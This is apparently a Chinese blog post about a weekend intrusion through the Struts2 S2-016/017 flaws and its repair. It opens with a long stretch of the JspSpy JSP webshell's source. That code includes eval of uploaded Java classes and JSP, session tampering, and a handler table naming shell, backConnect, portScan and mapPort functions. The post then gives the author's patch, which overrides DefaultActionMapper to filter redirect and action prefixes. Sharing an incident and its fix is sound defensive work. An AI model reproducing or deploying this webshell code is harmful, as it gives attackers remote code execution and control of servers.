  3844.             if (o instanceof ResultSet) {
  3845.                 ResultSet rs = (ResultSet) o;
  3846.                 ResultSetMetaData meta = rs.getMetaData();
  3847.                 int count = meta.getColumnCount();
  3848.                 for (int i = 1; i <= count; i++) {
  3849.                     String colName = meta.getColumnName(i) + "\t";
  3850.                     byte[] b = null;
  3851.                     if (Util.isEmpty(encode))
  3852.                         b = colName.getBytes();
  3853.                     else
  3854.                         b = colName.getBytes(encode);
  3855.                     bout.write(b, 0, b.length);
  3856.                 }
  3857.                 bout.write(rowSep, 0, rowSep.length);
  3858.                 while (rs.next()) {
  3859.                     for (int i = 1; i <= count; i++) {
  3860.                         String v = null;
  3861.                         try {
  3862.                             v = rs.getString(i);
  3863.                         } catch (SQLException ex) {
  3864.                             v = "<<Error!>>";
  3865.                         }
  3866.                         v += "\t";
  3867.                         byte[] b = null;
  3868.                         if (Util.isEmpty(encode))
  3869.                             b = v.getBytes();
  3870.                         else
  3871.                             b = v.getBytes(encode);
  3872.                         bout.write(b, 0, b.length);
  3873.                     }
  3874.                     bout.write(rowSep, 0, rowSep.length);
  3875.                 }
  3876.                 rs.close();
  3877.                 ByteArrayInputStream input = new ByteArrayInputStream(bout
  3878.                         .toByteArray());
  3879.                 BufferedOutputStream output = null;
  3880.                 if (!Util.isEmpty(filepath)) {
  3881.                     //export2file
  3882.                     output = new BufferedOutputStream(new FileOutputStream(
  3883.                             new File(filepath)));
  3884.                 } else {
  3885.                     //download.
  3886.                     response.setHeader("Content-Disposition",
  3887.                             "attachment;filename=DataExport.txt");
  3888.                     output = new BufferedOutputStream(response
  3889.                             .getOutputStream());
  3890.                 }
  3891.                 byte[] data = new byte[1024];
  3892.                 int len = input.read(data);
  3893.                 while (len != -1) {
  3894.                     output.write(data, 0, len);
  3895.                     len = input.read(data);
  3896.                 }
  3897.                 bout.close();
  3898.                 input.close();
  3899.                 output.close();
  3900.                 if (!Util.isEmpty(filepath)) {
  3901.                     JSession.setAttribute(MSG, "Export To File Success !");
  3902.                     response.sendRedirect(SHELL_NAME);
  3903.                 }
  3904.             }
  3905.         }
  3906.     }
  3907.  
  3908.     private static class EvalInvoker extends DefaultInvoker {
  3909.         public void invoke(HttpServletRequest request,
  3910.                 HttpServletResponse response, HttpSession JSession)
  3911.                 throws Exception {
  3912.             String type = request.getParameter("type");
  3913.             PrintWriter out = response.getWriter();
  3914.             Object msg = JSession.getAttribute(MSG);
  3915.             if (msg != null) {
  3916.                 Util.outMsg(out, (String) msg);
  3917.                 JSession.removeAttribute(MSG);
  3918.             }
  3919.             if (Util.isEmpty(type)) {
  3920.                 out
  3921.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3922.                                 + "  <tr>"
  3923.                                 + "    <td><h2>Eval Java Code &raquo;</h2>"
  3924.                                 + "<hr/>"
  3925.                                 + "      <p>"
  3926.                                 + "      <form action=\""
  3927.                                 + SHELL_NAME
  3928.                                 + "?o=eu\" method=\"post\"  enctype=\"multipart/form-data\">"
  3929.                                 + "UpLoad a Class File : ");
  3930.                 Util
  3931.                         .outMsg(
  3932.                                 out,
  3933.                                 "<pre>"
  3934.                                         + "<span style='color:blue'>public class</span> SpyEval{\r\n"
  3935.                                         + "    <span style='color:blue'>static</span> {\r\n"
  3936.                                         + "        <span style='color:green'>//Your Code Here.</span>\r\n"
  3937.                                         + "    }\r\n" + "}\r\n" + "</pre>", "left");
  3938.                 out
  3939.                         .println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"
  3940.                                 + "      <form action=\""
  3941.                                 + SHELL_NAME
  3942.                                 + "\"  method=\"post\"><p></p>Jsp Eval : <br/>"
  3943.                                 + "      <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"
  3944.                                 + "      <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"
  3945.                                 + URLDecoder
  3946.                                         .decode(
  3947.                                                 "%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E",
  3948.                                                 "utf-8")
  3949.                                 + "</textarea>"
  3950.                                 + "      <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\"  />"
  3951.                                 + "      </form>"
  3952.                                 + "      </p>"
  3953.                                 + "    </td>"
  3954.                                 + "  </tr>" + "</table>");
  3955.             } else if (type.equals("jsp")) {
  3956.                 String jspc = request.getParameter("jspc");
  3957.                 if (Util.isEmpty(jspc))
  3958.                     return;
  3959.                 File f = new File(SHELL_DIR, "evaltmpninty.jsp");
  3960.                 BufferedWriter writer = new BufferedWriter(
  3961.                         new OutputStreamWriter(new FileOutputStream(f), "utf-8"));
  3962.                 writer.write(jspc, 0, jspc.length());
  3963.                 writer.flush();
  3964.                 writer.close();
  3965.                 out
  3966.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3967.                                 + "  <tr>"
  3968.                                 + "    <td><h2>Jsp Eval Result &raquo;</h2>");
  3969.                 out
  3970.                         .println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
  3971.                 request.getRequestDispatcher("evaltmpninty.jsp").include(
  3972.                         request, response);
  3973.                 out
  3974.                         .println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
  3975.                 f.delete();
  3976.             }
  3977.         }
  3978.     }
  3979.  
  3980.     private static class EvalUploadInvoker extends DefaultInvoker {
  3981.         public void invoke(HttpServletRequest request,
  3982.                 HttpServletResponse response, HttpSession JSession)
  3983.                 throws Exception {
  3984.             ByteArrayOutputStream stream = new ByteArrayOutputStream();
  3985.             UploadBean upload = new UploadBean();
  3986.             upload.setTargetOutput(stream);
  3987.             upload.parseRequest(request);
  3988.  
  3989.             if (stream.toByteArray().length == 2) {
  3990.                 JSession.setAttribute(MSG, "Please Upload Your Class File ! ");
  3991.                 ((Invoker) ins.get("ev")).invoke(request, response, JSession);
  3992.                 return;
  3993.             }
  3994.             SpyClassLoader loader = new SpyClassLoader();
  3995.             try {
  3996.                 Class c = loader.defineClass(null, stream.toByteArray());
  3997.                 c.newInstance();
  3998.             } catch (Exception e) {
  3999.             }
  4000.             stream.close();
  4001.             JSession.setAttribute(MSG, "Eval Java Class Done ! ");
  4002.             ((Invoker) ins.get("ev")).invoke(request, response, JSession);
  4003.         }
  4004.     }
  4005.  
  4006.     private static class VOtherInvoker extends DefaultInvoker {
  4007.         public void invoke(HttpServletRequest request,
  4008.                 HttpServletResponse response, HttpSession JSession)
  4009.                 throws Exception {
  4010.             try {
  4011.                 PrintWriter out = response.getWriter();
  4012.                 Object msg = JSession.getAttribute(MSG);
  4013.                 if (msg != null) {
  4014.                     Util.outMsg(out, (String) msg);
  4015.                     JSession.removeAttribute(MSG);
  4016.                 }
  4017.                 out
  4018.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  4019.                                 + "    <tr>"
  4020.                                 + "      <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"
  4021.                                 + "        <div id=\"hOWTm\" style=\"line-height:30px\">"
  4022.                                 + "        <ul>");
  4023.                 Enumeration en = JSession.getAttributeNames();
  4024.                 while (en.hasMoreElements()) {
  4025.                     Object o = en.nextElement();
  4026.                     if (o.toString().equals(MSG))
  4027.                         continue;
  4028.                     out
  4029.                             .println("<li><form action='"
  4030.                                     + SHELL_NAME
  4031.                                     + "' method='post'><u>"
  4032.                                     + o.toString()
  4033.                                     + "</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""
  4034.                                     + JSession.getAttribute(o.toString())
  4035.                                     + "\">");
  4036.                     out
  4037.                             .println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
  4038.                     out
  4039.                             .println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
  4040.                     out.println("<input type='hidden' name='name' value='"
  4041.                             + o.toString() + "'/>");
  4042.                     out.println("</form></li>");
  4043.                 }
  4044.                 out
  4045.                         .println("<li style='list-style:none'><form action='"
  4046.                                 + SHELL_NAME
  4047.                                 + "' method='post'><fieldset>"
  4048.                                 + "<legend>New Session Attribute</legend>"
  4049.                                 + "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""
  4050.                                 + " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"
  4051.                                 + " </fieldset></form></li></ul></div></td>"
  4052.                                 + "    </tr>" + "  </table>");
  4053.             } catch (Exception e) {
  4054.                 throw e;
  4055.             }
  4056.         }
  4057.     }
  4058.  
  4059.     //Session Manager
  4060.     private static class SmInvoker extends DefaultInvoker {
  4061.         public void invoke(HttpServletRequest request,
  4062.                 HttpServletResponse response, HttpSession JSession)
  4063.                 throws Exception {
  4064.             try {
  4065.                 String type = request.getParameter("type");
  4066.                 PrintWriter out = response.getWriter();
  4067.                 if (type.equals("update")) {
  4068.                     String name = request.getParameter("name");
  4069.                     String value = request.getParameter("value");
  4070.                     JSession.setAttribute(name, value);
  4071.                     JSession
  4072.                             .setAttribute(MSG, "Update/Add Attribute Success !");
  4073.                 } else if (type.equals("delete")) {
  4074.                     String name = request.getParameter("name");
  4075.                     JSession.removeAttribute(name);
  4076.                     JSession.setAttribute(MSG, "Remove Attribute Success !");
  4077.                 }
  4078.                 ((Invoker) ins.get("vother")).invoke(request, response,
  4079.                         JSession);
  4080.             } catch (Exception e) {
  4081.  
  4082.                 throw e;
  4083.             }
  4084.         }
  4085.     }
  4086.  
  4087.     static {
  4088.         ins.put("script", new ScriptInvoker());
  4089.         ins.put("before", new BeforeInvoker());
  4090.         ins.put("after", new AfterInvoker());
  4091.         ins.put("deleteBatch", new DeleteBatchInvoker());
  4092.         ins.put("clipboard", new ClipBoardInvoker());
  4093.         ins.put("vPortScan", new VPortScanInvoker());
  4094.         ins.put("portScan", new PortScanInvoker());
  4095.         ins.put("vConn", new VConnInvoker());
  4096.         ins.put("dbc", new DbcInvoker());
  4097.         ins.put("executesql", new ExecuteSQLInvoker());
  4098.         ins.put("vLogin", new VLoginInvoker());
  4099.         ins.put("login", new LoginInvoker());
  4100.         ins.put("filelist", new FileListInvoker());
  4101.         ins.put("logout", new LogoutInvoker());
  4102.         ins.put("upload", new UploadInvoker());
  4103.         ins.put("copy", new CopyInvoker());
  4104.         ins.put("bottom", new BottomInvoker());
  4105.         ins.put("vCreateFile", new VCreateFileInvoker());
  4106.         ins.put("vEdit", new VEditInvoker());
  4107.         ins.put("createFile", new CreateFileInvoker());
  4108.         ins.put("vEditProperty", new VEditPropertyInvoker());
  4109.         ins.put("editProperty", new EditPropertyInvoker());
  4110.         ins.put("vs", new VsInvoker());
  4111.         ins.put("shell", new ShellInvoker());
  4112.         ins.put("down", new DownInvoker());
  4113.         ins.put("vd", new VdInvoker());
  4114.         ins.put("downRemote", new DownRemoteInvoker());
  4115.         ins.put("index", new IndexInvoker());
  4116.         ins.put("mkdir", new MkDirInvoker());
  4117.         ins.put("move", new MoveInvoker());
  4118.         ins.put("removedir", new RemoveDirInvoker());
  4119.         ins.put("packBatch", new PackBatchInvoker());
  4120.         ins.put("pack", new PackInvoker());
  4121.         ins.put("unpack", new UnPackInvoker());
  4122.         ins.put("vmp", new VmpInvoker());
  4123.         ins.put("vbc", new VbcInvoker());
  4124.         ins.put("backConnect", new BackConnectInvoker());
  4125.         ins.put("jspEnv", new JspEnvInvoker());
  4126.         ins.put("smp", new SmpInvoker());
  4127.         ins.put("mapPort", new MapPortInvoker());
  4128.         ins.put("top", new TopInvoker());
  4129.         ins.put("vso", new VOnLineShellInvoker());
  4130.         ins.put("online", new OnLineInvoker());
  4131.         ins.put("enter", new EnterInvoker());
  4132.         ins.put("export", new ExportInvoker());
  4133.         ins.put("ev", new EvalInvoker());
  4134.         ins.put("eu", new EvalUploadInvoker());
  4135.         ins.put("vother", new VOtherInvoker());
  4136.         ins.put("sm", new SmInvoker());
  4137.         ins.put("vExport", new VExport2FileInvoker());
  4138.         ins.put("vPack", new VPackConfigInvoker());
  4139.         ins.put("reflect", new ReflectInvoker());
  4140.         ins.put("portBack", new PortBackInvoker());
  4141.     }%>
  4142. <%
  4143.     try {
  4144.         String o = request.getParameter("o");
  4145.         if (Util.isEmpty(o)) {
  4146.             if (session.getAttribute(SESSION_O) == null)
  4147.                 o = "index";
  4148.             else {
  4149.                 o = session.getAttribute(SESSION_O).toString();
  4150.                 session.removeAttribute(SESSION_O);
  4151.             }
  4152.         }
  4153.         Object obj = ins.get(o);
  4154.         if (obj == null) {
  4155.             response.sendRedirect(SHELL_NAME);
  4156.         } else {
  4157.             Invoker in = (Invoker) obj;
  4158.             if (in.doBefore()) {
  4159.                 String path = request.getParameter("folder");
  4160.                 if (!Util.isEmpty(path)
  4161.                         && session.getAttribute(ENTER) == null)
  4162.                     session.setAttribute(CURRENT_DIR, path);
  4163.                 ((Invoker) ins.get("before")).invoke(request, response,
  4164.                         session);
  4165.                 ((Invoker) ins.get("script")).invoke(request, response,
  4166.                         session);
  4167.                 ((Invoker) ins.get("top")).invoke(request, response,
  4168.                         session);
  4169.             }
  4170.             in.invoke(request, response, session);
  4171.             if (!in.doAfter()) {
  4172.                 return;
  4173.             } else {
  4174.                 ((Invoker) ins.get("bottom")).invoke(request, response,
  4175.                         session);
  4176.                 ((Invoker) ins.get("after")).invoke(request, response,
  4177.                         session);
  4178.             }
  4179.         }
  4180.     } catch (Exception e) {
  4181.         Object msg = session.getAttribute(MSG);
  4182.         if (msg != null) {
  4183.             Util.outMsg(out, (String) msg);
  4184.             session.removeAttribute(MSG);
  4185.         }
  4186.         if (e.toString().indexOf("ClassCastException") != -1) {
  4187.             Util.outMsg(out, MODIFIED_ERROR + BACK_HREF);
  4188.         }
  4189.         ByteArrayOutputStream bout = new ByteArrayOutputStream();
  4190.         e.printStackTrace(new PrintStream(bout));
  4191.         session.setAttribute(CURRENT_DIR, SHELL_DIR);
  4192.         Util.outMsg(out, Util
  4193.                 .htmlEncode(new String(bout.toByteArray())).replaceAll(
  4194.                         "\n", "<br/>"), "left");
  4195.         bout.close();
  4196.         out.flush();
  4197.         ((Invoker) ins.get("bottom"))
  4198.                 .invoke(request, response, session);
  4199.         ((Invoker) ins.get("after")).invoke(request, response, session);
  4200.     }
  4201. %>

　　搜索了下关键字JspSpy，找到利用structs2的016 017漏洞能上传文件到服务器。

　　找了2个利用漏洞的软件进行测试，经过简单的几部操作把文件上传到我们的平台目录下，这...么...简单。以前听说过structs2的漏洞，后来又把.jquery.jsp放上去登录了下，里面有文件操作，数据库操作。看完后，我马上删除了，心里真是谢谢这位上传文件的‘仁兄’，没对我们数据库动手。脑海跑过一万只草泥马。

　　修复

　　经总结有3种常用方案。

　　1、通过修改struts2源码修复

　　2、升级struts2（容易遇到兼容性问题）

　　3、重写struts2 DefaultActionMapper的handleSpecialParameters方法，增加action、redirect、redirectAction等参数的过滤。此方法可修补漏洞。

　　我先选了【2、升级struts2】，可怜我替换了半天的jar包。最后终于编译通过了，运行没问题，晚上10点开始更新代码（为什么10点更新，用户这个时候较少）。- -!听说有热部署，不知道能不能解决我们这种原始的更新部署存在的一些问题，有时间了再学习学习，继续正题。代码更新好，运行测试软件，还是有016 017漏洞。

　　时间已经10点多了，问题还是要解决的，想想我用软件测试漏洞上传webshell的过程如此so easy，不行必须要解决掉。不能留后患。

　　发现了第三种解决方法

　　操作步骤：
　　　　1 新建com/website/struts2/MyDefaultActionMapper.java，代码如下：

　　　　

  1. package com.website.struts2;
  2.  
  3. import java.util.*;
  4.  
  5. import javax.servlet.http.HttpServletRequest;
  6.  
  7. import org.apache.struts2.dispatcher.mapper.ActionMapping;
  8. import org.apache.struts2.dispatcher.mapper.DefaultActionMapper;
  9. import org.apache.struts2.dispatcher.mapper.ParameterAction;
  10.  
  11. public class MyDefaultActionMapper extends DefaultActionMapper {
  12.     public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
  13.         Set uniqueParameters = new HashSet();
  14.         Map parameterMap = request.getParameterMap();
  15.         for (Iterator iterator = parameterMap.keySet().iterator(); iterator.hasNext();) {
  16.             String key = (String) iterator.next();
  17.  
  18.             if ((key.endsWith(".x")) || (key.endsWith(".y"))) {
  19.                 key = key.substring(0, key.length() - 2);
  20.             }
  21.  
  22.             // -- jason.zhou 20130708 add start -- //
  23.             if ((key.contains("redirect:")) || (key.contains("redirectAction:")) || (key.contains("action:"))) {
  24.                 return;
  25.             }
  26.             // -- jason.zhou 20130708 add end -- //
  27.  
  28.             if (!uniqueParameters.contains(key)) {
  29.                 ParameterAction parameterAction = (ParameterAction) this.prefixTrie.get(key);
  30.                 if (parameterAction != null) {
  31.                     parameterAction.execute(key, mapping);
  32.                     uniqueParameters.add(key);
  33.                     break;
  34.                 }
  35.             }
  36.         }
  37.     }
  38. }

　　　　2 用struts.xml添加如下代码：

  1. <!-- 为修复struts2 s2-016、s2-017漏洞，重写DefaultActionMapper -->
  2. 	<bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class="com.website.struts2.MyDefaultActionMapper" />
  3. 	<constant name="struts.mapper.class" value="myDefaultActionMapper" />

　　上传再测试，ok。

　　想到这个问题的严重性，决定记录下来。好了不多说了已经0点了。收拾收拾回家。

周末惊魂：因struts2 016 017 019漏洞被入侵，修复。的更多相关文章

  1. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  2. struts2漏洞-第一次入侵经历

    这两天上数据库,老师给了我们一个网站,该网站是一个售花网站.是有一个师兄写的毕业设计.然后挂在内网,然后使用这个系统,然后分析网站,写个数据库设计的报告.简单的写了数据库作业后就闲来无事做,就想对这个 ...

  3. 转载（原标题：网站再遭新威胁 Struts2又曝高危漏洞啦）

    自从著名J2EE框架Apache Struts2被曝出可被远程攻击者利用的执行漏洞后,关于Struts2的安全性便广受关注.近日,安全研究人员则再次发现了Struts2存在远程代码执行的漏洞,Stru ...

  4. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  5. 利用Axis2默认口令安全漏洞可入侵WebService网站

    利用Axis2默认口令安全漏洞可入侵WebService网站 近期,在乌云上关注了几则利用Axis2默认口令进行渗透测试的案例,大家的渗透思路基本一致,利用的技术工具也大致相同,我在总结这几则案例的基 ...

  6. MS14-064 漏洞测试入侵——20145301

    MS14-064 漏洞测试入侵 Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术 执行摘要 此安全更新可解决 Microsof ...

  7. Cisco IOS和IOS XE 新漏洞检测与修复

    Cisco IOS/IOS XE 新漏洞检测与修复 CVE-2018-0150 Cisco IOS XE 存在默认弱口令 漏洞影响: 默认弱口令可以导致攻击者直远程登录控制Cisco设备.受影响版本, ...

  8. Memcache未授权访问漏洞利用及修复

    Memcached是一套分布式的高速缓存系统.它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的.正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问.本文 ...

  9. [转帖]AMD霄龙安全加密虚拟化曝漏洞：已修复

    AMD霄龙安全加密虚拟化曝漏洞:已修复 https://www.cnbeta.com/articles/tech/862611.htm 硬件的安全问题 今年初,Google的一位研究人员发现,AMD ...

随机推荐

  1. CentOS下mysql数据库常用命令总结

    mysql数据库使用总结 本文主要记录一些mysql日常使用的命令,供以后查询. 1.更改root密码 mysqladmin -uroot password 'yourpassword' 2.远程登陆 ...

  2. duang～免费的学习视频来啦：学霸君之全栈测试

    学霸君向童鞋们推荐一款 同名学霸学习 视频教程 重点是完全免费收看学习噢!!! 今天 学霸君推荐腾讯课堂的学霸君之全栈测试 复制下方链接至腾讯课堂中报名学习 https://ke.qq.com/cou ...

  3. Quartz2D总结

    天了噜,脑子完全懵了,最起码说出来个上下文啊,连这个都给忘了,特此总结一下,并以此缅怀这次面试 Quartz2D的API来自于Core Graphics(这就是为什么CGContextRef是以CG开 ...

  4. Ubuntu安装redis并配置远程、密码以及开启php扩展

    一.前言 redis是当前流行的nosql数据库,很多网站都用它来做缓存,今天我们来安装并配置下redis 二.安装并配置redis 1.安装redis sudo apt-get install re ...

  5. 实现php连接memcached

    准备工作: 实现lnmp环境 给php添加模块,so库 下载扩展包:memcache-2.2.5.tgz wget http://pecl.php.net/get/memcache-2.2.5.tgz

  6. VMware安装CentOS

    centos镜像地址:https://www.centos.org/download/ VMware版本:12.5.2 build-4638234 创建新的虚拟机 直接默认下一步 稍后安装操作系统-& ...

  7. jsp

    -----------------

  8. 基于 SailingEase WinForm Framework 开发优秀的客户端应用程序（目录）

    本系统文章将详细阐述客户端应用程序的设计理念,实现方法. 本系列文章以  SailingEase WinForm Framework 为基础进行设计并实现,但其中的设计理念及方法,亦适用于任何类型的客 ...

  9. 在PC上测试移动端网站和模拟手机浏览器的5大方

    查了很多资料,尝试了大部分方法,下面将这一天的努力总结下分享给大家,也让大家免去看那么多文章,以下介绍的方法,都是本人亲自测试成功的方法,测试环境winxp. 一.Chrome*浏览器 chrome模 ...

  10. VS2015企业版本（安装包+key）+ .NET Reflector 9.0

    Reflector9.0系下载:https://yunpan.cn/cMQj9zWbffSqy  访问密码 55eb VS2015中文企业版: http://pan.baidu.com/s/1eRIo ...